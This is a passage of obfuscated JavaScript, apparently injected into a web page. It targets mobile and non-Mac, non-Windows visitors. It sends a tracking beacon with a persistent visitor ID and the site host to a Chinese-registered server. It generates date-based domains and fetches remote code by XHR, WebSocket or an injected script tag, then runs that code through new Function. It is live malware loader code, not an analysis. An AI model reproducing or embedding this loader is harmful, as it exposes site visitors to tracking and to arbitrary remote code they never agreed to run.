yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};